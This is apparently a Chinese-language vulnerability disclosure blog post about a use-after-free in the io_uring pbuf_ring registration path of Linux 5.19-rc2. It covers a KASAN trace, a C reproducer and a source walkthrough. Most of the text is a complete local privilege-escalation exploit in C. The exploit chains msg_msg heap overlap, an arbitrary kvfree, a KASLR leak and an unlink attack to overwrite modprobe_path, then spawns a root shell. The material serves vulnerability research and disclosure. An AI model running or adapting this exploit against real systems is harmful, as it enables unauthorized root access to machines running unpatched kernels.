本实验室使用syzkaller对linux-5.19-rc2版本的io_uring模块进行fuzz时, 在io_register_pbuf_ring()函数中发现了了一枚由于错误的异常处理导致的UAF漏洞, 通过slab跳跃与kernel unlink attack等技巧, 本文较为简单的堆环境下成功实现了提权. 但是目前该漏洞已经在5.19-rc8中被修复, 因此决定将该0day漏洞发现的过程与漏洞利用细节进行公布
crash现场
漏洞触发时的crash线程如下
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BUG: KASAN: use-after-free in __io_remove_buffers.isra.0+0x4b1/0x6a0 fs/io_uring.c:5613 Read of size 2 at addr ffff888141a77012 by task kworker/u16:16/3825 Read路径: __io_remove_buffers.isra.0+0x4b1/0x6a0 fs/io_uring.c:5613 io_destroy_buffers fs/io_uring.c:11132 [inline] io_ring_ctx_free fs/io_uring.c:11214 [inline] io_ring_exit_work+0x9c9/0xfd6 fs/io_uring.c:11393 process_one_work+0xa82/0x17c0 kernel/workqueue.c:2289 worker_thread+0x5f9/0x1250 kernel/workqueue.c:2436 kthread+0x2f2/0x3b0 kernel/kthread.c:376 ret_from_fork+0x22/0x30 arch/x86/entry/entry_64.S:302 </TASK> Allocate路径: kcalloc include/linux/slab.h:671 [inline] io_init_bl_list.isra.0+0x24/0x102 fs/io_uring.c:5776 io_register_pbuf_ring fs/io_uring.c:13006 [inline] __io_uring_register.cold+0x44/0xf2e fs/io_uring.c:13202 __do_sys_io_uring_register fs/io_uring.c:13238 [inline] __se_sys_io_uring_register fs/io_uring.c:13218 [inline] __x64_sys_io_uring_register+0x2f2/0x610 fs/io_uring.c:13218 do_syscall_x64 arch/x86/entry/common.c:50 [inline] do_syscall_64+0x3b/0x90 arch/x86/entry/common.c:80 entry_SYSCALL_64_after_hwframe+0x46/0xb0 释放路径: kfree+0xb0/0x330 mm/slub.c:4555 io_register_pbuf_ring fs/io_uring.c:13026 [inline] __io_uring_register+0x1780/0x1ad0 fs/io_uring.c:13202 __do_sys_io_uring_register fs/io_uring.c:13238 [inline] __se_sys_io_uring_register fs/io_uring.c:13218 [inline] __x64_sys_io_uring_register+0x2f2/0x610 fs/io_uring.c:13218 do_syscall_x64 arch/x86/entry/common.c:50 [inline] do_syscall_64+0x3b/0x90 arch/x86/entry/common.c:80 entry_SYSCALL_64_after_hwframe+0x46/0xb0 |
syzkaller成功复现并生成了一个C reproducer, 我将其进行美化后结果如下, 还是很容易复现的, 非root也可以触发
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int io_uring_setup(unsigned entries, struct io_uring_params* p) { return (int)syscall(__NR_io_uring_setup, entries, p); } int io_uring_register(unsigned int fd, unsigned int opcode, void* arg, unsigned int nr_args) { return (int)syscall(__NR_io_uring_register, fd, opcode, arg, nr_args); } struct io_uring_buf_reg { __u64 ring_addr; __u32 ring_entries; __u16 bgid; __u16 pad; __u64 resv[3]; }; int main(void) { struct io_uring_params p; memset(&p, 0, sizeof(p)); int ring_fd = io_uring_setup(0x1, &p); struct io_uring_buf_reg reg; memset(®, 0, sizeof(reg)); reg.ring_addr = 0xf00000000; reg.ring_entries = 0x20000000; io_uring_register(ring_fd, IORING_REGISTER_PBUF_RING, ®, 1); return 0; } |
源码分析
下面研究下io_uring_register(ring_fd, IORING_REGISTER_PBUF_RING, ®, 1);
到底发生了什么
io_uring_register
系统调用会调用__io_uring_register()
处理, 根据opcode进入io_register_pbuf_ring()
处理
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static int __io_uring_register( struct io_ring_ctx* ctx, //io_uring上下文 unsigned opcode, //操作码 void __user* arg, //参数 unsigned nr_args) //多少个参数 { int ret; ...; switch (opcode) { case IORING_REGISTER_PBUF_RING: //BUG处在这里 ret = -EINVAL; if (!arg || nr_args != 1) //只能有一个参数 break; ret = io_register_pbuf_ring(ctx, arg); break; ...; } return ret; } |
io_register_pbuf_ring()
- 首先检查传入的参数, 并在io_uring_context中分配io_buffer_list对象数组
ctx->io_bl
- 然后根据参数中的缓冲区组ID找到对应的io_buffer_list对象
- 然后调用
io_pin_pages()
尝试根据用户给定的地址和长度分配FOLL_PIN的页, - 如果分配分配失败, 就直接释放掉
io_buffer_list
对象, 但问题是io_bl指向的不是一个单独的对象, 而是对象数组中的一项, 不能单独释放, 因而造成漏洞
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static int io_register_pbuf_ring(struct io_ring_ctx* ctx, void __user* arg) { struct io_uring_buf_ring* br; struct io_uring_buf_reg reg; struct io_buffer_list* bl; struct page** pages; int nr_pages; //复制参数 if (copy_from_user(®, arg, sizeof(reg))) return -EFAULT; //进行参数检查 if (reg.pad || reg.resv[0] || reg.resv[1] || reg.resv[2]) return -EINVAL; if (!reg.ring_addr) return -EFAULT; if (reg.ring_addr & ~PAGE_MASK) return -EINVAL; if (!is_power_of_2(reg.ring_entries)) return -EINVAL; //为io uring context分配io buffer list对象数组 if (unlikely(reg.bgid < BGID_ARRAY && !ctx->io_bl)) { int ret = io_init_bl_list(ctx); //这里分配了ctx->io_bl[64] if (ret) return ret; } //根据提供的buffer group id找到对应的缓冲区链表: return &ctx->io_bl[bgid]; bl = io_buffer_get_list(ctx, reg.bgid); if (bl) { //如果映射的缓冲区ring或者类别存在, 不允许 if (bl->buf_nr_pages || !list_empty(&bl->buf_list)) return -EEXIST; } else { ...; } pages = io_pin_pages( reg.ring_addr, //用户空间的起始地址 struct_size(br, bufs, reg.ring_entries), //分配多长 &nr_pages); //结果参数: pin_user_pages()分配了多少页 if (IS_ERR(pages)) { //如果io_pin_pages()出错 //就释放掉buffer list, 但是bl指向的是对象数组中的一项, 怎么能直接kfree掉呢 // bl=&ctx->io_bl[bgid], 如果bgid=0, 这里就释放了整个ctx->io_bl //但是释放之后没有清除ctx->io_bl, 后续使用就会造成UAF kfree(bl); return PTR_ERR(pages); } br = page_address(pages[0]); //buffer ring所在地址 //开始写入bl对象 bl->buf_pages = pages; //指向pages对象数组 bl->buf_nr_pages = nr_pages; //包含多少页 bl->nr_entries = reg.ring_entries; //有多少项 bl->buf_ring = br; //指向ring的地址 bl->mask = reg.ring_entries - 1; //索引的掩码 io_buffer_add_list(ctx, bl, reg.bgid); //设置bl->bgid=reg.bgid, 并将其添加到ctx的XArray中 return 0; } |
io_init_bl_list()
为ctx->io_bl分配io_buffer_list对象数组并初始化
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static __cold int io_init_bl_list(struct io_ring_ctx* ctx) { int i; //指向64个struct io_buffer_list ctx->io_bl = kcalloc(BGID_ARRAY, sizeof(struct io_buffer_list), GFP_KERNEL); if (!ctx->io_bl) return -ENOMEM; //初始化每一个struct io_buffer_list for (i = 0; i < BGID_ARRAY; i++) { INIT_LIST_HEAD(&ctx->io_bl[i].buf_list); //缓冲区链表头 ctx->io_bl[i].bgid = i; //buffer list的组id } return 0; } |
正常的是右边的操作, 但是这里是左边的操作. 由于slab会根据bl&(~size的掩码)
找到要释放的对象, 因此整个io_bl都会被释放掉, 从而造成后续的UAF漏洞
该漏洞在2022年5月13日在这个commit中引入, 还是十分新的
漏洞利用
由于io_buffer_list的结构与msg_msg结构类似, 因此exp的主要思路就是通过通过UAF的io_buffer_list对象来控制msg_msg, 详细的可以看EXP代码, 其中注释比较详细
exp思路如下
- 利用UAF让io_buffer_list与msg_msg重叠, 将其称为msg0, 然后向其中添加一个io_buffer对象, 该对象会被当做消息队列中的另一个msg_msg, 称为msg1, 读出msg1从而泄露kmalloc-2k的地址,
- 这里需要注意, 由于msg1并不来自slub, 而是直接从页分配器分配的页, 因此在读出msg1时通过一个循环指针, 让
store_msg()
在遍历msg->next
时一直循环, 从而避免被释放掉
- 这里需要注意, 由于msg1并不来自slub, 而是直接从页分配器分配的页, 因此在读出msg1时通过一个循环指针, 让
- 拥有kmalloc-2k的地址后, 结合msg_msg的堆喷射就可以伪造io_buffer_list对象, 利用
kvfree(bl->buf_pages);
获取kmalloc-2k上的任意地址free, 然后打出对象重叠 - 堆布局
msg0 | msg2 | io_ring_ctx
, 其中msg0+0x60~msg2+0x60
称为msg3, 就是之前被free的, 释放msg3再申请到就可以控制msg2->m_ts
进行越界读, 读出io_ring_ctx对象就可以泄露内核地址 - 然后重新使用msg3控制msg2, 进行取出msg_msg的
list_del()
操作进行unlink attack实现任意地址写入8B, 修改modprobe_path完成提权
上述利用过程没法绕过freelist随机化, 并且在复杂堆环境下是十分不稳定的, 并不能作为实际攻击用的exp, 仅作为漏洞演示
演示视频:
EXP
下面这个exp在内核没有开启freelist随机化的情况下, 使用busybox文件系统在简单的内核环境下可以进行提权
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/*------------------------助手定义-----------------------------*/ typedef unsigned long long uLL; typedef long long LL; void Hexdump(char* buf, long size) { for (int i = 0; i < size; i += 8) printf("+%02x\t0x%016llx\n", i, *(uLL*)(buf + i)); } //映射可读可写页, 并进行写入, 使其存在 void* Mmap(void* base, size_t len) { int flags = MAP_ANONYMOUS | MAP_PRIVATE; if (base) flags |= MAP_FIXED; void* res = mmap(base, len, PROT_READ | PROT_WRITE, flags, -1, 0); if ((LL)res == -1 || (base && (res != base))) { perror("Mmap"); exit(-1); } memset(res, '\x00', len); return res; } // kmalloc(buf, KERNEL); 写入buf; 然后kfree(buf) void spray(char* buf, long size) { setxattr("/exp", "XXXXX", buf, size, XATTR_CREATE); perror("setxattr"); } /*------------------------助手定义-----------------------------*/ /*------------------------io_uring相关定义-----------------------------*/ int io_uring_setup(unsigned entries, struct io_uring_params* p) { return (int)syscall(__NR_io_uring_setup, entries, p); } int io_uring_register(unsigned int fd, unsigned int opcode, void* arg, unsigned int nr_args) { return (int)syscall(__NR_io_uring_register, fd, opcode, arg, nr_args); } int io_uring_enter(int ring_fd, unsigned int to_submit, unsigned int min_complete, unsigned int flags) { return (int)syscall(__NR_io_uring_enter, ring_fd, to_submit, min_complete, flags, NULL, 0); } //注册一个缓冲区, mapped ring使用 struct io_uring_buf_reg { __u64 ring_addr; __u32 ring_entries; __u16 bgid; __u16 pad; __u64 resv[3]; }; //新内核中sqe的定义 struct new_io_uring_sqe { __u8 opcode; /* type of operation for this sqe */ __u8 flags; /* IOSQE_ flags */ __u16 ioprio; /* ioprio for the request */ __s32 fd; /* file descriptor to do IO on */ union { __u64 off; /* offset into file */ __u64 addr2; __u32 cmd_op; }; union { __u64 addr; /* pointer to buffer or iovecs */ __u64 splice_off_in; }; __u32 len; /* buffer size or number of iovecs */ union { __kernel_rwf_t rw_flags; __u32 fsync_flags; __u16 poll_events; /* compatibility */ __u32 poll32_events; /* word-reversed for BE */ __u32 sync_range_flags; __u32 msg_flags; __u32 timeout_flags; __u32 accept_flags; __u32 cancel_flags; __u32 open_flags; __u32 statx_flags; __u32 fadvise_advice; __u32 splice_flags; __u32 rename_flags; __u32 unlink_flags; __u32 hardlink_flags; __u32 xattr_flags; __u32 close_flags; }; __u64 user_data; union { __u16 buf_index; __u16 buf_group; } __attribute__((packed)); __u16 personality; union { __s32 splice_fd_in; __u32 file_index; }; union { struct { __u64 addr3; __u64 __pad2[1]; }; __u8 cmd[0]; }; }; //这个对象只在内核中定义, 问了方便伪造对象我将其复制到这里 struct io_buffer_list { union { struct { void* buf_pages; void* buf_ring; }; }; __u16 bgid; // buffer group ID //下面这些字段是io_register_pbuf_ring()使用的 __u16 buf_nr_pages; // bu_pagesf中有多少页 __u16 nr_entries; //包含多少项 __u32 head; __u32 mask; }; //内存屏障宏 /*------------------------io_uring相关定义-----------------------------*/ void clean_slab_4K(void) { int msgid[0x10]; int ret; for (int i = 0; i < 0x10; i++) { msgid[i] = msgget((key_t)1000 + i, 0666 | IPC_CREAT | IPC_EXCL); LOG(msgid[i]); struct msgbuf* msg = malloc(PAGE_SIZE * 2 + 0x30); puts("msgsnd"); msg->mtype = 0x1; memset(msg->mtext, '\x00', PAGE_SIZE * 2); ret = msgsnd(msgid[i], msg, PAGE_SIZE * 2, 0); } char* res = malloc(PAGE_SIZE * 2); for (int i = 0; i < 0x10; i++) { ret = msgrcv(msgid[i], res, PAGE_SIZE * 2, 0x1, 0); } } /*------------------------初始化函数-----------------------------*/ int uring_fd; int msgid[0x10]; char* buffer; //公共使用的缓冲区 struct new_io_uring_sqe* sqes; //提交项数组 unsigned *sring_tail, *sring_mask, *sring_array, *cring_head; void init(void) { setbuf(stdout, NULL); struct io_uring_params p; memset(&p, 0, sizeof(p)); uring_fd = io_uring_setup(0x1, &p); //只设置一项 // SQ映射长度=io_urings中sq_array的偏移+sq_array的项数*index长度 int sring_sz = p.sq_off.array + p.sq_entries * sizeof(unsigned); // CQ映射长度=io_urings中cqes的偏移+cqes的项数*完成项的长度 int cring_sz = p.cq_off.cqes + p.cq_entries * sizeof(struct io_uring_cqe); // 提交队列项的长度 int sqes_sz = p.sq_entries * sizeof(struct new_io_uring_sqe); //映射提交队列相关字段 unsigned char* sq_ptr = mmap(NULL, sring_sz, PROT_READ | PROT_WRITE, MAP_SHARED, uring_fd, IORING_OFF_SQ_RING); LOG(sq_ptr); sring_tail = (unsigned int*)(sq_ptr + p.sq_off.tail); //指向io_urings.sq.tail sring_mask = (unsigned int*)(sq_ptr + p.sq_off.ring_mask); //指向io_urings.sq_ring_mask sring_array = (unsigned int*)(sq_ptr + p.sq_off.array); //指向io_urings中, cqes后面的sq_array // 映射sqes sqes = mmap(NULL, sqes_sz, PROT_READ | PROT_WRITE, MAP_SHARED, uring_fd, IORING_OFF_SQES); LOG(sqes); //映射完成队列 unsigned char* cq_ptr = mmap(NULL, cring_sz, PROT_READ | PROT_WRITE, MAP_SHARED, uring_fd, IORING_OFF_CQ_RING); LOG(cq_ptr); cring_head = (unsigned int*)(cq_ptr + p.cq_off.head); //完成队列头 // 创建许多消息队列备用 for (int i = 0; i < 0x10; i++) { msgid[i] = msgget((key_t)1234 + i, 0666 | IPC_CREAT | IPC_EXCL); // LOG(msgid[i]); } //分配公用的缓冲区 buffer = Mmap(0, BUFFER_LEN); if (buffer == NULL) { perror("malloc buffer"); } } /*------------------------初始化函数-----------------------------*/ void* worker(void* res) { /* 从msgid[0]中读入一个msg_msg, 但是由于后一个io_buffer.list.prev会被当做msg_msg->next, 导致load_msg()无限循环 因此需要单独开一个线程阻塞在内核态, 但实际上数据是已经写入到res中的 */ msgrcv(msgid[0], res, PAGE_SIZE, /* msg_type= */ (long)PBUF_BASE, 0); puts("shouldn't get here"); } void trigger_UAF(void) { int ret; //准备一个无效的mapped ring请求 struct io_uring_buf_reg reg; memset(®, 0, sizeof(reg)); reg.ring_addr = 0xF00000000; // invaild userspace address, 令io_pin_pages()失败 reg.ring_entries = 0x20000000; // power of 2 reg.bgid = 0x0; // ctx->io_bl = kcalloc(BGID_ARRAY, sizeof(struct io_buffer_list), GFP_KERNEL); // kfree(ctx->io_bl); ret = io_uring_register(uring_fd, IORING_REGISTER_PBUF_RING, ®, 1); LOG(ret); } void submit_provide_buffer(void) { io_uring_smp_store_release(&sring_array[0], 0); //写入sq_array //更新sqes的tail int tail = *sring_tail; tail++; io_uring_smp_store_release(sring_tail, tail); //提交1个请求, 要求完成这一个后再返回 int ret = io_uring_enter(uring_fd, 1, 1, IORING_ENTER_GETEVENTS); LOG(ret); //回收cqe int head = io_uring_smp_load_acquire(cring_head); head++; io_uring_smp_store_release(cring_head, head); } //在msgid[idx]中分配num个大小为size的msg_msg对象 void alloc_msg(int idx, int size, int num) { struct msgbuf* msg = (struct msgbuf*)buffer; int msg_len = size - 0x30; LOG(msg_len); memset(msg->mtext, 0xCC, msg_len); for (int i = 0x0; i < num; i++) { msg->mtype = i + 1; if (msgsnd(msgid[idx], msg, msg_len, 0) != 0) perror("msgsnd"); LOG(i); } } int main(void) { int ret; init(); // 1. 令ctx->io_bl指向0x800的UAF对象 trigger_UAF(); /* 2. 将ctx->io_bl指向的0x800的对象作为msg_msg对象, 称为msg0 */ struct msgbuf* msg = (struct msgbuf*)buffer; // 要分配的大小 - sizeof(struct msg_msg), 0x420会从kmalloc-2k中分配. // 不分配0x800是为了partial overwrite, 保留可用的io_bufer_list int msg_len = 0x420 - 0x30; msg->mtype = 0x0001; // mtype 为long, 低2B对应io_buffer_list的bgid, 高2B对应buf_nr_pages memset(msg->mtext, '\x00', msg_len); msgsnd(msgid[0], msg, msg_len, 0); //发送消息 /* 3. 将io_buffer链接到ctx->io_bl[0], 伪造一个msg_msg对象, 称为msg1 */ // 使用io_provide_buffers()在链表ctx->io_bl[0].buf_list上添加一个io_buffer对象 // 但是对于msg_msg来说, 添加的io_buffer对象会被当作是msg_msg对象, 从而把0xFD0作为消息正文长度, 泄露io_buffer void* pbuf = Mmap(PBUF_BASE, PAGE_SIZE); //上交的缓冲区 LOG(pbuf); sqes[0].opcode = IORING_OP_PROVIDE_BUFFERS; sqes[0].rw_flags = 0; sqes[0].splice_fd_in = 0; sqes[0].fd = 1; // nbufs sqes[0].addr = (uLL)pbuf; // io_buffer::addr对应msg_msg::m_type, 因此要控制在long的范围内 sqes[0].len = 0xFD0; // io_buffer::len对应msg_msg::m_ts, 因此io_buffer后续的内容会被当作是消息正文, 等于DATALEN_MSG sqes[0].buf_group = 0; //链接到ctx->io_bl[buf_group], 这里0对应msg_msg的头部, 可以伪造msg_msg submit_provide_buffer(); // 4. 从ctx->io_buffer_cache中分配两对象, 获取指向ctx->io_bl[33]的指针, 从而找到kmalloc-2k的地址 for (int i = 0; i < 0x2; i++) { sqes[0].addr = (uLL)malloc(0x100); sqes[0].len = 0x100; sqes[0].buf_group = 33; // 注意msg_msg覆盖时0x420后面的都是可用的io_buffer_list, 因此链接到这里0x420/0x20=33 submit_provide_buffer(); } // 5. 创建一个线程读出msg1到buffer中, 从而实现越界读, worker之后会卡死, 只能让其卡死, 因为msg1是伪造的, 不能被kfree掉 uLL* tag = (uLL*)(buffer + 0xF00); //在尾部打上标记, 因为开头8B是mtype, 读出0xF00的消息会写入0xF08 *tag = 0xdeadbeef; pthread_t th; pthread_create(&th, NULL, worker, buffer); // 6. 获取ctx->io_bl, 也是msg0的地址 while (*tag == 0xdeadbeef) // load_msg()执行完毕会覆盖*tag, 这里进行等待 ; // Hexdump(buffer, 0x200); uLL io_bl = *((uLL*)(buffer + 0x18)) - 0x420; //减去0x420时因为指向的时&ctx->io_bl[33] LOG(io_bl); // 7. 在ctx->io_bl(也是msg0)后面申请一个msg2, 并申请io_ring_ctx对象, 在没有开启slub随机化的情况下, 三者是相邻的 msg_len = 0x800 - 0x30; memset(msg->mtext, 0x00, msg_len); msgsnd(msgid[2], msg, msg_len, 0); int spray_uring_fd; struct io_uring_params p; memset(&p, 0, sizeof(p)); spray_uring_fd = io_uring_setup(0x1, &p); //只设置一项 LOG(spray_uring_fd); // 8. 重新覆盖掉ctx->io_bl, 伪造io_buffer_list对象 ret = msgrcv(msgid[0], buffer, PAGE_SIZE, /* msg_type= */ (long)0x0001, 0); //首先读出msg0 LOG(ret); msg_len = 0x800 - 0x30; // 0x800-sizeof(struct msg_msg), 可以伪造io_buffer_list了, 不用partial overwrite //将具体msg_msg开头的偏移x 转换为 从msg_msg->mtext开始的索引 //在msg_msg.mtext中伪造io_buffer_list对象 uLL* tmp = (uLL*)msg->mtext; // tmp = ctx->io_bl+0x30, 也等于msg_msg+0x30 tmp[IDX(0x40)] = io_bl + 0x60; // fake_bl.buf_pages tmp[IDX(0x48)] = io_bl; // fake_bl.buf_ring, 指向一个可读地址即可 tmp[IDX(0x50)] = 0x10000; // fake_bl.buf_nr_pages = 1 tmp[IDX(0x60)] = io_bl + 0x68; // <= io_bl + 0x60, 这里的值会被当做buf_pages[0] tmp[IDX(0x68)] = 0xdeadbeef; //这里被当做page对象 tmp[IDX(0x80)] = io_bl + 0xa0; // fake_bl.buf_pages tmp[IDX(0x88)] = io_bl; // fake_bl.buf_ring, 指向一个可读地址即可 tmp[IDX(0x90)] = 0x10000; // fake_bl.buf_nr_pages = 1 tmp[IDX(0xa0)] = io_bl + 0x1000; // <= io_bl + 0x60, 这里的值会被当做buf_pages[0] // msgid[0]实际只有一个msg, 但是取出了两次, 导致msq->q_qnum=-1, 因此不能再使用, 换成msgid[1], 反正都是一样的覆盖 ret = msgsnd(msgid[1], msg, msg_len, 0); //然后再次发送消息 LOG(ret); // 9. 利用__io_remove_buffers()进行任意地址kvfree(), [msg_msg+0x60, msg_msg+0x860)会被放入freelist struct io_uring_buf_reg reg; memset(®, 0, sizeof(reg)); reg.bgid = 0x2; // msg_msg中对应fake_bl ret = io_uring_register(uring_fd, IORING_UNREGISTER_PBUF_RING, ®, 1); LOG(ret); // 10. 发送msg3, 申请到[msg_msg+0x60, msg_msg+0x860), 从而控制msg2 msg_len = 0x800 - 0x30; tmp = (uLL*)msg->mtext; // msg3+0x800-0x60处就是msg2的头部 tmp[IDX(0x420 - 0x60)] = io_bl + 0x420; //自旋指针,msg1->next指向这里, worker继续卡死, 不然kfree(msg1)会导致crash tmp[IDX(0x800 - 0x60)] = io_bl + 0x830; // msg3.m_list.prev tmp[IDX(0x808 - 0x60)] = io_bl + 0x830; // msg3.m_list.next tmp[IDX(0x810 - 0x60)] = 0x00001; // msg3.m_type tmp[IDX(0x818 - 0x60)] = 0xFD0; // msg3.m_ts tmp[IDX(0x820 - 0x60)] = 0; // msg3.next tmp[IDX(0x828 - 0x60)] = io_bl + 0x840; // msg3.security, 指向可读区域就好 tmp[IDX(0x830 - 0x60)] = io_bl + 0x800; // <=io_bl + 0x830, 伪造循环链表节点 tmp[IDX(0x838 - 0x60)] = io_bl + 0x800; tmp[IDX(0x840 - 0x60)] = 0xdeadbeef; ret = msgsnd(msgid[3], msg, msg_len, 0); //然后再次发送消息, 为了防止干扰, 一个队列发送一个消息 LOG(ret); // 11. 读出msg2, 从而越界读出io_uring_ctx, 泄露kaslr msgrcv(msgid[2], buffer, PAGE_SIZE, /* msg_type= */ (long)0x0001, 0); uLL* io_ring_ctx = (uLL*)(buffer + 0x8 + 0x800 - 0x30); // Hexdump(io_ring_ctx, 0x200); LOG(io_ring_ctx[0x420 / 8]); // io_ring_ctx::fallback_work LL kaslr = io_ring_ctx[0x420 / 8] - 0xffffffff81083250; LOG(kaslr); LL modprobe_path = kaslr + 0xffffffff82850e40; LOG(modprobe_path); // 12. 利用msg3重新覆盖msg2, 伪造msg_msg对象 // 首先再次发送msg2, 为防止干扰, 发送msgid[4]中 msg_len = 0x800 - 0x30; memset(msg->mtext, 0x00, msg_len); msgsnd(msgid[4], msg, msg_len, 0); // 然后释放掉msg3 ret = msgrcv(msgid[3], buffer, PAGE_SIZE, /* msg_type= */ (long)0x0001, 0); LOG(ret); // 开始构造msg2 msg_len = 0x800 - 0x30; tmp = (uLL*)msg->mtext; // msg3+0x800-0x60处就是msg2的头部 tmp[IDX(0x420 - 0x60)] = io_bl + 0x420; //自旋指针,msg1->next指向这里, worker继续卡死, 不然kfree(msg1)会导致crash tmp[IDX(0x800 - 0x60)] = modprobe_path - 0x8; // msg3.m_list.prev tmp[IDX(0x808 - 0x60)] = 0x612f706d742f; // msg3.m_list.next = "/tmp/a\x00" tmp[IDX(0x810 - 0x60)] = 0x00001; // msg3.m_type tmp[IDX(0x818 - 0x60)] = 0xFD0; // msg3.m_ts tmp[IDX(0x820 - 0x60)] = 0; // msg3.next tmp[IDX(0x828 - 0x60)] = io_bl + 0x840; // msg3.security, 指向可读区域就好 // 分配msg3, 利用msg3.mtext覆盖掉msg2, 同理为防止干扰, 发送到msgid[5] msgsnd(msgid[5], msg, msg_len, 0); if (fork() == 0) { //子进程触发unlink attack msgrcv(msgid[4], buffer, PAGE_SIZE, /* msg_type= */ (long)0x0001, 0); } // 13. 等待unlink attack完成, 检查是否覆盖成功 sleep(2); int fd = open("/proc/sys/kernel/modprobe", O_RDONLY); LOG(fd); read(fd, buffer, 0x10); puts(buffer); close(fd); // 14. 构造提权脚本/tmp/a并触发 fd = open("/tmp/a", O_RDWR|O_CREAT); char *script = "#!/bin/sh\nchmod 777 /flag\nsetsid cttyhack setuidgid 0 /bin/sh\n"; write(fd, script, strlen(script)); close(fd); system("chmod 777 /tmp/a"); // write a wrong execute file int ff = open("/tmp/asd", O_WRONLY | O_CREAT); write(ff, "\xff\xff\xff\xff", 4); close(ff); // trigger modprobe system("chmod 777 /tmp/asd; /tmp/asd"); if(fork()==0) system("/bin/sh"); puts("alive"); while (1) ; return 0; } |
总结
抛开具体的漏洞利用技巧, 该漏洞告诉我们新的代码往往是buggy的,需要时间来进行检验才会变的稳定可靠。io_uring作为一个蓬勃发展的模块, 代码量已经膨胀到仅2万行, 在提升IO效率的同时, 其安全性值得关注.
原文始发于微信公众号(微步在线应急响应团队):linux内核io_uring模块pbuf_ring漏洞与提权0day